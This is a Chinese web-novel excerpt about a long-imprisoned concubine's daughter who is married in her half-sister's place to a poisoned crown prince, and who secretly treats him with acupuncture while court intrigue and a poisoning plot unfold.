《雪中景》
1. 好意
静秋穿着红色的小褙子,内里一身水粉,发髻簪着几枚花簪,走出定安侯府正房的院子,穿过长长的廊道,走到一处偏远的院落。
静秋走到门口,被两名仆役拦下,“奉老爷的命令,谁也不准进出此院。”
静秋从怀里掏出事先备好的两袋银子递给两人,笑道:“我奉夫人之命,前来请二小姐,望两位通融通融。”
两人面面相觑,皆从对方的眼神中看出贪婪,但还是有些纠结,怕被老爷发现,惩罚他们两人:“这……”
静秋看两人的表情便知,他二位早已动心,不敢答应的原因,估计是怕被老爷责罚,“老爷怕是早已忘记府里还有一个二小姐。”顿了顿,继续说道:“况且你们还不知晓老爷如何宠爱夫人,有夫人在,你们怕什么。”
话毕,静秋掂了掂手中的钱袋子,示意两人上前拿走,两人对望一眼,点了点头,从静秋手里拿过后,掂了掂重量,这才放入怀中,“那我们就此谢过夫人。”说完立即开门,退至一旁,让出一条道。
静秋走进院内,环顾四周,发现白雪穿着一身简单的白裙,头发用木簪随意别好,坐在秋千上看书,语气带着几分不耐,“二小姐,夫人找您。”
白雪眼前出现一双粉色绣花鞋,闻言抬头,因许久未曾与旁人交流,声音沙哑,“如今是何年?”
静秋有些惊讶,她本以为白雪会痛哭流涕,抑或是破口大骂夫人,没想到竟如此平静,思考半晌,回道:“太平王朝,鸿历二十八年。”
距白雪被关禁闭,快十年过去,整整三千多个日夜,白雪还以为自己早已被府里的众人忘记,没想到最先记起白雪的人是她,“何事?”
静秋心知肚明,却不想告诉白雪其中缘由,“奴婢不知。”
白雪扔下一句,“等我一会儿。”便起身走进屋内,屋内光线昏暗,全靠阳光透过窗户,才能看清屋内环境。
白雪径直朝书架走去,把手中的书与那几本医书放在一起,白雪用手轻轻拂过,这些全是娘留下的遗物。
白雪眼神停在针灸包上,里面放置着九根银针,白雪想了想,从里面取出一根银针,藏于袖中,以备不时之需。
这才走出房间,对静秋说道:“走吧。”
白雪走出院子,见无人拦她,深吸一口院外的气息,浓郁的花香混合着泥土味扑面而来。
这是自由的芬芳。
静秋走在白雪的右前方,白雪紧跟其后,八岁的小白雪奔跑上前,渐渐与十八岁的白雪重合。
刚走进院内,白雪就听到房间里面传来的欢笑声,这院子与记忆中的院子重叠,唯一不同的是,中央有一条灰青石阶直通大厅,两边摆满了名品鲜花,因炎热的夏日,使得原本清新的花香味,变得尤为浓烈刺鼻,白雪不太自在的用食指横置于鼻下,舒缓鼻腔。
“夫人,二小姐到了。”随着静秋的话语落下,房间里的欢笑声,瞬间戛然而止。
纪璇身着绛红色织金暗绣芙蓉纹袖衫,配着藏蓝色织金暗绣芙蓉纹裙,头戴一支金子做的海棠花,点缀着几只小蝴蝶,原本正在宠溺地看着白雅琴,瞬间端坐于榻上,审视的目光看向走进房里的白雪。
白雅琴身着黛色暗绣蝴蝶纹袖衫,下配月白色的素裙,头饰夸张贵气,原本挽着娘亲手臂撒娇也放下,端坐于娘亲身旁,望向门口,在看见白雪的那一瞬间,眼球一缩,带着几分敌意。
白雪仿佛不曾感受到房里紧张的气氛,无视两人注视的目光,径直走到两人面前,行礼道:“娘亲,姐姐。”
纪璇看着长大的白雪,仿佛从画中走出来的清冷女子一般,“多年未见,你可还埋怨娘亲。”
白雪袖中的手悄悄捏紧,故作好奇问道:“女儿为何会怨娘亲?”
纪璇观察着白雪的表情,见她不似作假,仿佛早已忘却一般,这才说道:“十年光阴转瞬而逝,你爹爹不曾记起你的婚事,娘亲可记得,你也该到了谈婚论嫁的年纪。”
白雪内心一颤,原以为是为了利用她,没想到是想把她嫁出去,白雪不信会有什么好婚事落在她头上,是平头百姓还是怪癖老头?
白雪垂下眼帘,掩去眸中复杂情绪,乖巧顺从的回答道:“愿凭娘亲做主。”
这副谦卑顺从的姿态,让纪璇十分满意,语气也温柔了几分,“将你嫁入太子府,成为太子妃,这门亲事,你可愿意?”
白雪纤长的睫毛微颤,心底涌起巨大的困惑,太子妃何等尊贵的地位,为何会降落在她头上?
白雅琴见白雪沉默不语,迟迟未回答,故作关切,语气中却隐隐透露出一丝讥讽,“妹妹可是一时之间,高兴得昏了头,忘记回答?”
白雪闻言抬头看向白雅琴,“姐姐说笑了,妹妹只是一时不知该如何作答。”
纪璇眯了眯眼,语气带着几分威压,“哦?可是不愿?”
白雪脸上瞬间浮现出一抹甜甜的微笑,说道:“女儿自是愿意的,只是不知爹爹和祖母可知晓此事?”
白雅琴闻言出现一抹慌乱,转头看向娘亲,纪璇手轻拍了几下白雅琴的手背,白雅琴这才冷静下来。
不过一瞬的事,却被白雪瞬间捕捉到,明白这件事是嫡母和嫡姐,背着爹爹和祖母两人干的,为何?难道是嫡姐不想嫁给太子,不愿做太子妃。
看来是她小看了这庶女,纪璇脸上浮现出一抹笑意,语气更加温柔了几分,“知道如何?不知又如何?”
白雪立马跪下,语气惶恐道:“女儿只是有些好奇。”
纪璇走到白雪面前,轻柔的扶起白雪,“你若不愿,娘亲一口回绝了便是,只是不知你爹爹何时才能想起你,若是一辈子都想不起,你总不能待在那院中一辈子吧?娘亲也是为你着想。”说着,轻轻拂过白雪挡住眼睛的碎发。
白雪听出纪璇话里的选外之意,心中本是一百个不愿,但这些年早已厌倦被禁锢在那小小的一方院子,如同一只困兽等待时机,破笼而出。
如今时机已到,只是不知她是否是从一
无论是刀山火海,还是龙潭虎穴,也在所不惜。
想通后的白雪,温顺的说道:“女儿明白,多谢娘亲。”
纪璇眼中闪过一丝满意,却仍故作关切道:“你既明白,娘亲便放心了,只是时间有些紧张,东宫的人,明日一早便会来,今晚你便在姐姐的院中歇息。”
白雪还想回去拿娘留下的遗物,若不让她回去,那些东西怎么拿走?随即故作羞涩道:“女儿明白,若我不回院子,被发现可如何是好?”
纪璇轻拍白雪的背,安慰道:“娘亲都已安排妥当,你既可放心。”
看来是不会让她回去了,这算是半监禁吗?
白雪乖顺点头道:“女儿明白了。”
拿钱的仆役小西打开钱袋子一看,两眼放光,说道:“陈哥,这钱怎么这么多?”
陈哥目视前方,钱太多,让他心里没底:“这钱,我们不能拿。”
小西疑惑的挠了挠头,问道:“为何?”
陈哥:“钱少,是办小事,钱多,是要命,我们无福消受,得去告诉老爷。”
小西眨了眨眼睛,大大的眼睛里满是疑惑,半晌才说道:“我听陈哥的。”
“老爷。”
两人走进老爷书房,白玉山正伏案工作,闻声抬头,“何事?”
陈哥跪在地上,把钱袋子捧在手心,“老爷,这是夫人给我们的。”
小西学着陈哥的动作,跪在陈哥
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左侧。
白玉山毫不在意道:“给你们,你们自己收着便是。”
陈哥担惊受怕,想说又不敢说,吞吞吐吐道:“可…”
白玉山的气场从严肃瞬间变得如沐春风,脸上浮现出一抹和煦的笑意,“怎么了?”
陈哥见老爷这样,心里也不再害怕,大胆地说道:“今日夫人身边的丫鬟静秋来二小姐院子,我们本不愿让她进入院子,可她说是夫人找二小姐有事,还给了我们一笔钱。”
白玉山气场表情不变,眼神中闪过一丝不悦,“没事,她给你的,你们自己收着吧。”
陈哥立马磕头道:“谢谢老爷。”
小西紧跟着陈哥,磕头道:“谢谢老爷。”
白玉山手一挥,陈哥和小西立马站起身,退出房间。
小西笑着道:“老爷真宠夫人。”
陈哥却没说话,眼底满是担心,“小西,我们得离府。”
“为何?”小西不明白。
陈哥:“你信哥吗?”
小西:“我信。”
与此同时,静秋回到房间,纪璇正在闭目养神,“夫人,那两个下人不在了。”
纪璇睁开双眼,“去哪了?”
静秋:“管家说两人回老家了,说老家出事了。”
纪璇沉默片刻:“我知道了。”
天未亮,白雪就被叫醒,进进出出的丫鬟,白雪望着嫁衣,是用上好的云锦精心裁制,绣着繁复的缠枝莲纹,每一针每一线都细密工整。
白雪被丫鬟伺候着更衣,嫁衣一上身,白雪便知大了。
肩线滑下去寸,袖口盖住手指,独留指尖在外面,腰身处空落落的,系上腰带时多勒了两道。
凤冠刚一端上来,白雪就听见身旁丫鬟倒吸一口凉气。
好看是好看,白雪认为更多的是夸张到吓人。
金丝编成的凤凰展着翅膀,随着动作忽上忽下,瞧着仿佛活过来一般,每一片羽翅上都嵌着绿豆大的宝石,红的、绿的、黑的,层层叠叠,密得看不见底。
喜婆走进房间,瞧见那凤冠,惊讶道:“天呐!这……得多重?”
一旁的丫鬟回道:“三斤八两。”
喜婆看着白雪坐到铜镜前,一旁的丫鬟正在替她打扮,笑道:“夫人真疼爱您。”
白雪笑笑没说话。
哪里是疼爱她,分明是疼爱白雅琴。
凤冠一戴上,白雪感觉自己被压得喘不过气来。
当白雪站起身子,喜婆这才发现白雪身上的嫁衣,惊呼道:“姑娘的嫁衣怎么这么大,可是量尺寸后瘦了?”
白雪笑笑道:“确实有些大了。”
喜婆蹲下替白雪挽起过长的裙摆,一层又一层,白绫、红绸、金丝绲边,堆在脚边。
白雪低头看着喜婆忙活,忽然听见喜婆轻轻,“咦~”了一声。
白雪疑惑道:“怎么了?”
喜婆抬头看向白雪,神色复杂道:“姑娘这样穿着,竟比合身更好看。”
是吗?
白雪带着这样的疑惑看向铜镜,镜中的少女画着浓烈的妆,头上戴着凤冠,瘦瘦小小的她被宽大的嫁衣裹着,反倒显得那截露出来的脖颈又细又白,锁骨若隐若现。
宽大的领口微微张开,露出里面的素白中衣,衬得白雪那张本就不大的脸,更小了几分,白雪瞬间领悟出喜婆的那句好看是什么意思,是楚楚可怜,亦是惹人怜爱。
白雪移开视线,与站在门外,穿着丫鬟服饰的白雅琴,视线交错。
白雪看见白雅琴眼神中一闪而逝的后悔,而后被揶揄的眼神代替,随即脸上浮现出一抹玩味。
不过几秒,白雪收回目光,不再关注白雅琴。
2. 结婚
喜婆拿着红色巾帕说道:“姑娘,吉时已到。”说完,喜婆把手中的帕子盖在白雪头上。
喜婆领着白雪走到正厅,白玉山和纪璇端坐在主位上。
白玉山在白雪出现的一瞬间,便察觉到不对,不是他看出白雪有什么问题,而是看出纪璇的不对劲。
纪璇竟毫无悲伤的样子,反而脸上带着得体的微笑,不是皮笑肉不笑,而是真心实意的微笑。
白玉山这才发觉不对劲,眼神环顾四周,在人堆里找到穿着丫鬟服饰的白雅琴。
白雅琴感受到被注视的目光,看过去,竟发现是端坐在主位上的爹爹。
白雅琴脸上瞬间浮现出一抹慌乱,赶紧低下头,朝旁边移动,直到感受到那股视线,从她身上移开。
白玉山瞥了一眼纪璇,才开口道:“往之汝家,必敬必戒,无违夫子,以顺为正者,妾妇之道也。”(出自《富贵不能淫》,大体意思:嫁到你丈夫家里,一定要恭敬,一定要谨慎,不要违背你的丈夫,把顺从作为准则的,是妇人的做法。)
白雪本以为自己会毫不在意,没想到在听到爹爹的闺训,会瞬间热泪盈眶。
喜婆高声喊道:“拜别爹娘养育恩。”
不管过程如何,白雪不是与旁人做戏,而是真的嫁作他人妇。
随着喜婆的话语落下,白雪跪在地上磕了三个响头。
这才起身走到大门口,喜婆掀开轿帘,“新娘请上轿。”白雪坐进轿里,在喜气洋洋的气氛中,奔向新的战场。
而此时的正厅里,白玉山端坐在主位上一脸严肃,纪璇一脸讨好的看向白玉山,白雅琴跪在地上,脸上还有一个巴掌印。
白玉山端起桌上的茶杯,砸向白雅琴,“你们好大的胆子。”
碎片擦过白雅琴的手背,瞬间划出一道血痕,白雅琴打了个冷颤,不敢开口说话。
纪璇:“我还不是为了侯府,为了你,才出此下策。”
白玉山冷冷的看向纪璇,没有开口,只是眼神中透露出我倒要看看你要说些什么。
纪璇继续说道:“京城中,谁人不知那太子活不过今晚?若真把雅琴嫁过去,太子一旦咽气,雅琴可要跟着去的,难道你舍得雅琴就这样香消玉殒?”顿了顿,继续道:“再说了,自从十年前你把白雪关禁闭后,就一直不曾让她出来,这京城中谁还记得她?况且,二皇子对雅琴一直十分在意,若太子咽气,这太子之位……不就落到二皇子身上了吗?”
白玉山虽还在生气,但脸色缓和了许多,“京城中,谁不知道和太子有婚事的,是我们侯府嫡女,被发现可是欺君之罪。”
纪璇一脸神秘道:“若是把白雪抬做嫡女……”
白玉山还未开口,白雅琴却急了,“娘……”
纪璇瞥了白雅琴一眼,白雅琴闭嘴。
白玉山对这一切了如指掌,生气不过是做戏,他当然不希望白雅琴就此香消玉殒,他希望白雅琴的价值能达到最大化,而纪璇说出口的话,给了他台阶,才道:“这办法可行。”
给人感觉白玉山不过是在宠着夫人,倘若他真的不肯,这事也绝无可能发生,早在白雪出院子时,就有人禀报给他此事。
每个人的价值都是有限的,要如何把有限的价值做到利益最大化,是白玉山每日在思考的问题。
一道高昂的声音响起,“一拜天地,二拜高堂,夫妻对拜,礼成——送入洞房。”
白雪拿着红色的绸缎,随着动作,透过盖头的缝隙,看见绸缎的另一头系在鸡爪上。
白雪内心一惊,终于明白过来,白雅琴为什么会那样看着她,原来……是冲喜吗?
白雪嘴角上扬,感受着衣袖中的那根银针,只要不是老死,白雪就有把握把他救活。
死不可怕,可怕的是没有与命运抗争的能力。
白雪坐在床沿,耳边传来弱弱的呼吸声,就连那红烛滴落的声音都比呼吸声大,空气里弥漫着淡淡的药味。
裴宴景睁开眼睛,看见白雪的背影,愣了几秒,刚想开口,喉咙传来一阵瘙痒,控制不住的咳嗽了起来。
白雪听到剧烈的咳嗽声,摸着摸着,摸到了裴宴景的大腿,“你没事吧?”
气血上涌,一股血腥气在口中弥漫开来,裴宴景吐出一口黑得发亮的血,“没事。”手微微用力,颤抖着掀开白雪的盖头。
四目相对,白雪看见裴宴景嘴边的血迹,手轻轻捏住裴宴景的手腕,感受着微弱的脉搏。
裴宴景感受到手腕上的温热,往后一撤,。
白雪这才回过神来,“不好意思,我只是…”
“没事。”裴宴景感受到沉沉的睡意,理智告诉他不能睡,睡过去就起不来了。
白雪这才想起自己连他名字都不知晓,问道:“你叫什么?”
裴宴景吃惊地说道:“你不知道?”
白雪摇摇头。
“裴宴景,你呢?”
“白雪。”顿了顿,继续说道:“你中毒了,毒已入你五脏六腑,若不管它,你今晚便会死。”
裴宴景闻声,看向白雪,满眼震惊,“你。”脸上浮现出一抹苦笑。
三年前的战场上,为首之人,裴宴景穿着一身黑色铠甲,手拿一把剑,剑指苍穹,“冲。”
一时之间,硝烟弥漫,尸横遍野。
裴宴景杀敌无数,但此时却被敌军包围,他既要防止被杀,也要防止背后捅刀,一支箭从远处直直射向裴宴景,裴宴景躲闪不及,被刺中。
裴宴景憋着最后一口气,杀光最后一个敌军,从马上晕倒摔下。
“将军。”
“太子。”
裴宴景被接回军营之中,大帐内火把通明。
裴宴景平躺在行军榻上,左肩被箭贯穿,箭头为了行动方便,早已被粗略剪短,内里的中衣上半身被血浸透,军医小心翼翼的剪去离伤口近的衣服,伤口溃烂,流血不止,流出的血偏黑,军医问道:“箭头呢?”
裴宴景亲卫肖玉,上前小心翼翼拿出白布,层层打开露出箭头,“这里。”
军医小心翼翼拿起白布,箭头上血迹混合着蓝色的光芒,“这是西域的毒。”
肖玉疑惑道:“西域的毒?”
军医神色
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凝重,语气严肃,“此毒乃西域皇室中的秘密武器,知晓之人少之又少,为何会出现在这里?”
肖玉:“能解吗?”
军医摇摇头:“我不能,我只能吊住将军的命,若不能找到解毒之人,恐怕……”
帐内的人都知晓军医没说完的话是什么意思,一时之间,帐内空气凝固。
白雪:“我可以试试,替你解毒。”
裴宴景眼神瞬间亮了,看向白雪,“此话…”因太过激动,引起剧烈咳嗽,“当真?”
白雪没有回答,而是从袖中拿出那根银针,朝裴宴景袭去。
裴宴景瞳孔一缩,想象中的痛苦并没有到来,反而感受到一股暖流,暖流太过微弱,病毒想要将它吞噬,吞噬无果,那股暖流如水流一般,慢慢在他体内蔓延开来。
喉咙不似之前那样难受,裴宴景便知晓,白雪真的有能力替他解毒。
白雪平静开口道:“我只带了一根银针,若是九根银针,效果更佳。”
白雪这才有时间环顾四周,发现桌上放置着一块白绫、一壶酒、一只杯,她猜测壶中酒是毒酒。
这是为她准备的吗?
下一秒,门被打开,丫鬟端着一碗药走进来,“太子,该喝药了。”
白雪突然闻到一股淡淡的麻味和辛辣味,这是……乌头,它为何会在药里?
白雪认为裴宴景的身体,不适宜用这种剧毒的药来治疗,“我来吧。”
栖霞有些迟疑,并没行动,而是看向裴宴景,裴宴景轻轻点头后,栖霞才把药递给白雪。
白雪朝裴宴景使了个眼色,裴宴景立马明白,“出去。”
栖霞内心暗喜,立马上前想要接过白雪手中的碗。
裴宴景对栖霞说道:“我让你出去。”
“遵命。”栖霞顿时明白过来,满脸涨红,退出房间。
白雪径直走向窗边,把药倒进花开得正艳的花盆里。
裴宴景瞬间猜测出原因,本就苍白的脸色变得更加难看,“药有问题?”
白雪:“我闻到乌头的味道,只是我个人认为这位药,不符合你现在的身体状况。”
白雪没有明说,但裴宴景却明白,这是有人不想让他活。
白雪看着裴宴景,语气平淡道:“我能替你解毒,你能帮我做什么?”
裴宴景闻言,感到震惊,白雪还是第一个敢对裴宴景说这种话的人。
有趣。
裴宴景没有回答白雪的问题,反问道:“你想要什么?”
白雪看着裴宴景的眼睛,一字一句道:“我现在只想让你,快点好起来。”
裴宴景听见自己的心脏砰砰砰的跳动,半晌才说道:“好。”顿了顿,继续说道:“我们现在是合作关系?”
白雪挑了挑眉,点点头。
下一秒,门从外面打开,栖霞走进来,看到空碗,松了口气,往外走。
白雪穿着层层叠叠的衣服,闷出汗来,再加上头饰沉重无比,“我想洗漱一番。”
栖霞闻言有些惊讶,停下脚步,回头道:“奴婢立马让人准备。”
3. 演戏
白雪离开后,肖玉从窗户进的房间,行礼道:“太子。”
裴宴景看了一眼肖玉,闭目养神,“嗯,查到了吗?”
肖玉走到桌前,给自己倒了一杯水,急切地喝了一口,才说道:“嫁给您的是侯府二小姐,白雪。”
裴宴景睁眼,脸上出现一抹玩味的笑意,“我记得嫁给我的,应该是侯府嫡女,白雅琴。”
肖玉:“是这样没错,侯府的夫人为了不让自己女儿嫁进来,把被关了十年的白雪叫出来,替白雅琴嫁进来。”
裴宴景:“原来如此,白玉山可知晓此事?”
肖玉:“他知道,却装作不知道。”
“这个老狐狸。”裴宴景顿了顿,继续说道:“十年前侯府发生何事?”
肖玉摇摇头:“侯府知晓此事的仆役丫鬟们,皆被替换。”
“我知道了,今晚若我没死,便让白雪和黄太医演一出戏,我若死了…”裴宴景脸上浮现出一抹苦笑,继续说道:“戏也就不用演了,到时,你送白雪出宫,保护好她。”
“太子…”肖玉心中一百个不愿裴宴景死去,但世事难料,他只能尽力做到裴宴景交代的事情,“属下明白了。”
裴宴景想起白雪说银针时,满脸遗憾的模样,说道:“对了,你去白雪被关的院子里,找一下针灸包。”
肖玉行礼道:“属下遵命。”
这时,门打开,白雪走进来,肖玉躲闪不及,只能躲到屏风后面。
白雪瞧见被她倒了药的那盆花,叶子有些枯萎,径直走了过去,那盆花正好在屏风的旁边,肖玉见此,屏住呼吸,生怕被白雪发现。
裴宴景为了让肖玉悄无声息地离开,故作好奇地问道:“那花怎么了?”
白雪闻言,摘下一片叶子,走向裴宴景,把手中的叶子递给他,说道:“它的叶子,有些枯萎了。”
肖玉见白雪背对着他,看了一眼裴宴景,四目相对,消失在房间里。
白雪感受到一阵风吹过,回头看,却什么也没发现,有些奇怪的说道:“你感受到了吗?”
裴宴景正在装作集中注意力观察树叶,抬头用迷茫的眼神看向白雪,说道:“什么?”
可能是她感受错误,白雪摇摇头。
裴宴景低头,这才认真的看向手中的叶子,没发现枯萎的地方,询问道:“哪里枯萎了?”
白雪凑近了些,指着叶片尖端的一小截,“这里。”
白雪的头发散落在裴宴景鼻尖,一股淡淡的清香扑鼻而来,裴宴景第一次和女人距离这么近,耳尖瞬间变红。
白雪没听见裴宴景的声音,反应过来,站直身体。
气氛一时间有些尴尬。
裴宴景摸了摸鼻尖,仿佛还能闻到白雪身上的淡淡清香,手指玩着那片叶子,说道:“解毒需要用药吗?”
“啊。”白雪这才反应过来,尽量恢复平静的状态,继续说道:“需要。”环顾四周,没发现纸、笔,问道:“有纸和笔吗?”
裴宴景:“有,在书房。”
白雪想要逃离这个尴尬的环境,转身就走。
裴宴景:“诶。”
白雪闻言,停下脚步回头,眼神迷茫的看向裴宴景。
裴宴景:“你知道书房怎么走吗?”
白雪脑袋一片空白,摇摇头。
裴宴景被这一刻的白雪可爱到,笑着说:“出门左拐,直走到底,右手的第二间房。”
待白雪走出房间,裴宴景只感觉一阵气血上涌,剧烈咳嗽,从怀里掏出一块白色真丝手帕,捂着嘴,吐出一口血,裴宴景看着手中的手帕,鲜红的血在白色的手帕上,看着异常耀眼。
裴宴景脸上浮现出一抹苦笑,昏睡了过去。
“太子的书房,旁人不得入内。”
白雪找到书房,手刚碰到门,闻言,朝声音来源看去。
那人看清白雪面貌与服饰,低头行礼道:“太子妃。”
白雪微笑点头示意,推门而入。
书房内,书架上摆满各种书籍,檀木书桌摆放于正中央,桌上摆放着花瓶,里面插着几束花,其后挂着一幅将军穿着黑色的铠甲骑马的画像,洋溢着少年心气。
白雪径直走向书桌,因不常拿笔写字的缘故,故而笔被她随意拿着,在纸上写下所需的药材名称。
走回房间,看见裴宴景睡着了,正想走,余光瞥见他手上的手帕,发觉不对,手把在裴宴景手腕处。
怎么会这样?
白雪拿出银针刺入裴宴景身上的穴位,一根银针不够,内心焦急,左顾右盼。
肖玉见白雪在房里,本不想进来,看见白雪从袖中掏出银针刺向裴宴景本想阻止,却发现白雪没有恶意,像在救裴宴景,又缩了回去,却发现白雪满脸焦急,左顾右盼,肖玉看了眼手上的针灸包,瞬间明白她在找什么。
白雪眼前出现她放在院中的针灸包,不可思议的抬头,看见一个陌生的男子,“你…”
肖玉:“我是太子的随从,我叫肖玉。”
现在不是问这些的时候,白雪打开针灸包,将九根银针都刺入了裴宴景体内,白雪却像做了一场体力活,累得差点摔倒,被肖玉接住,扶着白雪坐到床沿,歇息。
白雪身上出的汗,让她看起来像刚从水里捞出来似的。
肖玉:“太子妃,太子没事吧?”
白雪看了肖玉一眼,“毒暂时压制住了,应该不会有生命危险,但是得尽快制出解药。”
肖玉放下心来,说道:“太子妃,您需要演一场戏。”
白雪不明所以,“什么戏?”
……
白雪一脸惊慌失措地打开门,大声喊道:“快宣太医,宣太医……”
栖霞走上前询问道:“太子妃,发生什么事了?”
白雪:“太子,太子他……”
栖霞瞬间明白过来,走出院子,找太医。
黄太医背着医药箱步履匆匆,跟着栖霞走进房间,医药箱随手放在地上,给太子把脉。
这是?
看了一眼站在一旁神色焦急的白雪,才装作太子已病入膏肓的模样,写下方子递给白雪,说道:“抓紧去抓药。”
白雪看了一眼方子,无功无过的方子,递给一旁的栖霞,说道:“快去。”
栖霞拿着方子找了个仆役,交代完事物,又回到房间。
白雪看了她一眼,焦急地问道:“太医,太子这是怎么了?”
太医:“就看今晚太子能不能坚持住,若坚持不下来,恐怕……”
栖霞眼神闪过一丝喜悦,但很快就被悲伤淹没。
白雪:“有没有什么法子,我能帮帮他?”
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太医摇摇头:“只能靠他自己,那药一定要抓紧煎给太子喝。”
白雪:“我知道了,谢谢太医。”
白雪把黄太医送出房间。
栖霞行礼道:“太子妃,奴婢去看看药如何了。”
白雪:“去吧。”
栖霞看了一眼漆黑的天空,闪闪亮亮的繁星点缀着黑夜,小心翼翼的走出东宫,走到假山旁边的溪水旁,拣起一颗石子扔进水里,很快一名宫女从假山后走了出来。
栖霞:“太子已无药可医。”
宫女点点头,便走了。
肖玉将这一切都看在眼里,跟着那名宫女,远远地看见宫女走进皇后的院内。
肖玉等了一会儿,转身时,余光瞥见那宫女又出来了,肖玉跟在她身后,见她径直走出皇宫,在一棵树下与身穿夜行衣的蒙面男说了两句,她转身回到皇宫。
肖玉跟上蒙面男,但不敢离太近,蒙面男一看就有功夫,肖玉怕被发现。
这不是二皇子的府邸吗?
肖玉掩住内心的惊讶,在暗处等了没多久,便看见二皇子裴筠穿着便服,身后跟着几名随从,上了马车。
马车停在游心湖边,裴筠径直走向等待许久的船上,他刚一上船,船便开动了。
肖玉环顾四周,想办法上船。
房间里坐着三人。
男爵李逸飞好奇的问道:“二皇子就请了我们三?”
子爵齐鲁:“你们说这二皇子请我们来干什么?”
伯爵叶舒白喝了口茶,冷哼一声,说道:“其他两位有本事不来,我们三可没本那本事,多半是太子快薨殁了。”
其他两位面面相觑,听见开门声,三人皆闭嘴,端坐于椅子上。
裴筠一走进房间,严肃的脸上瞬间浮现出笑容,见只有三人,眼神中闪过一丝不悦,笑着说道:“三位久等了。”
李逸飞观察着其他两人,见无人说话,他地位最低,不敢不回,“二皇子,找我们所谓何事?”
其他两位皆竖着耳朵听。
裴筠坐上主位,“你们都知晓太子已中毒三年,其他客套话,我就不多说了,我带来一个消息,我想各位…”裴筠观察着三位表情,见都很好奇,才继续说道:“或许会感兴趣。”
李逸飞:“何事?”
裴筠:“太子已无药可医。”
这句话如一颗石子扔进湖中,泛起层层涟漪。
李逸飞:“此话当真?”
齐鲁、叶舒白脸色变得异常丰富,内心皆在纠结裴筠所言,是否属实。
裴筠漫不经心地喝了一口茶,“好茶。”
叶舒白能猜到裴筠为何会请他们来,无非是为了那个位置,只要宫中不传来太子薨殁的消息,他便不敢随意站队。
齐鲁想着太子已中毒三年,都还没找到解药,或许二皇子已稳坐钓鱼台,但他在等,等宫中传来太子薨殁的消息。
唯有李逸飞,他本想立即站队,但见其他两位都稳坐着,没说话,他也不敢说话。
裴筠随从,摸出一把飞刀扔向窗户,扔下一句,“什么人?”就快速地跑了过去,什么也没看见,朝裴筠摇摇头。
“改日再找三位一聚,今日就到此。”裴筠说完,走出房间。
留下三人面面相觑,但都松了一口气。
4. 同床
裴筠走出房间,朝身边的随从说道:“掘地三尺也要把人挖出来。”
随从点头道:“遵命。”说完,拿出烟花棒,朝天上放。
肖玉刚上岸,便看见一队人马,正在搜查,一时之间,到处都是湖舫姬与男人的尖叫声和逃蹿的声音。
肖玉环顾四周,看见被人晾晒在外的衣服,赶紧换下身上湿透的衣服,用衣服做成帽子,包住湿漉漉的头发,从地上抓了些泥,往脸上、身上抹,感觉还不够,看见一坨大便,纠结了两秒,才抹在身上,做完这一切,才往外走。
“诶,你。”
肖玉闻言,心里咯噔一下,停下脚步,绝望地闭上眼,耳边传来脚步声,步步逼近,心一横,睁眼脸上浮现出讨好的笑,回头见只有一人朝他走来,但周围有许多他的同伴,内心权衡是否能在不惊动其他人的情况下,杀死他。
肖玉袖中的手,拿着匕首。
那人闻到肖玉身上的臭味,捂住口鼻,嫌弃的看向他,“干什么的?”
肖玉见他没有怀疑,脸上浮现出一抹猥琐的笑意,说道:“我听说这里晚上非常热闹,过来看看。”
“只是看看?”
肖玉点了点头,“我也想上手摸两把,奈何囊中羞涩。”凑近了一些,好奇地继续问道:“这里是出什么事了吗?”
那人后退两步,挥挥手,赶他走,“去去去,不该打听的,别瞎打听。”
“得嘞。”说完,转身就走,待走远后,肖玉见无人在意他,才松了口气,闻到自己身上传来的臭味,抬起手,鼻子凑近闻了闻。
真臭。
肖玉自己也有些嫌弃,赶紧朝东宫的方向去。
栖霞走进厨房,朝熬药的丫鬟走去,“药好了吗?”
丫鬟正集中注意力熬药,被突如其来的声音吓到,扇子掉在地上,站起身,“马上就好了。”
栖霞捡起扇子,“辛苦了,去休息吧,我来。”
丫鬟吞吞吐吐不敢走,“这…”
栖霞:“没事,她们都休息了,你也去吧。”
丫鬟这才放心,“谢谢,栖霞姐姐。”
栖霞看着丫鬟走出厨房的背影,环顾四周后,小心翼翼从袖中拿出一包纸打开,里面是乌头被制成粉末,栖霞一边环顾四周,手上动作快速的倒入药罐内。
栖霞把纸塞进袖中,从一旁拿起勺子,“嘶~”栖霞被烫得没拿稳勺子,勺子掉在地上发出声音,栖霞赶紧抬头观察,见没人发现,才放心。
小心翼翼的捡起勺子,冲洗了一番,把药搅匀。
与此同时,房间里白雪走来走去,内心焦急。
为什么还没回来?
开门声音响起,白雪期待的目光看去,发现是栖霞,她端着药走进来,白雪眼神黯淡下来。
栖霞从白雪身边走过,白雪又闻到了那股独属于乌头的味道,她明明记得太医没写乌头啊。
栖霞一手拿着碗,另一只手拿着汤勺,弯腰喂裴宴景,刚接触到裴宴景的嘴唇,便听到白雪说道:“等一下。”
栖霞吓了一跳,汤勺里的药也撒了几滴,在裴宴景衣领处,站直身体,转头看向白雪,眼神中流露出疑惑。
白雪:“我来吧。”
栖霞不想给白雪,但又怕被白雪看出她在药里加了些东西,一番纠结下,递给白雪,退至一旁。
白雪端着药,见栖霞一直站在旁边看她,“你出去吧,这里不用你管了。”
栖霞站在原地没动,也没回话。
白雪语气严肃了几分,说道:“怎么?我的话不听,一定要太子跟你说话才听?”
栖霞被白雪这番话吓到,立即说道:“奴婢不敢。”
白雪一边漫不经心的舀着药,一边说道:“我看你胆子挺大的。”
难道被看出来了?
不应该啊,太子妃明明不会医术。
这般想着,栖霞立即跪在地上,语气也慌乱了几分,说道:“奴婢不敢。”
白雪故作好奇,“怎么突然跪下了,起来吧。”
栖霞站起身子,低头不敢看白雪。
白雪:“还愣着干嘛?”
栖霞抬头迷茫的看着白雪,白雪下巴朝门口抬了抬,栖霞才恍然大悟,走出房间,关上门。
白雪听见关门声,刚准备把药倒进之前的花盆里,就看见窗户在移动,一时间白雪也忘了倒药,与准备进来的肖玉,四目相对。
一阵风吹过,白雪闻到一股浓烈的屎臭味,屏住呼吸,后退了几分,“你干嘛去了,这也太臭了。”
肖玉尴尬的笑笑,问道:“太子醒了吗?”
白雪摇摇头,说道:“还没,要不你……”
肖玉看了看自己的服装,“我去洗漱一番,再来。”说完,就准备走。
白雪:“诶,肖玉,你等一下。”
肖玉停下脚步,看向白雪。
白雪:“你明天再来吧,他今天应该醒不了。”
肖玉纠结了一番,才行礼道:“多谢太子妃。”
裴宴景眼睛慢慢睁开,看向窗外,天黑没亮,这才看向屋内寻找白雪的身影,只见白雪趴在床沿睡着了,裴宴景脸上不自觉地浮现出一抹淡淡的微笑,连他自己都没发现。
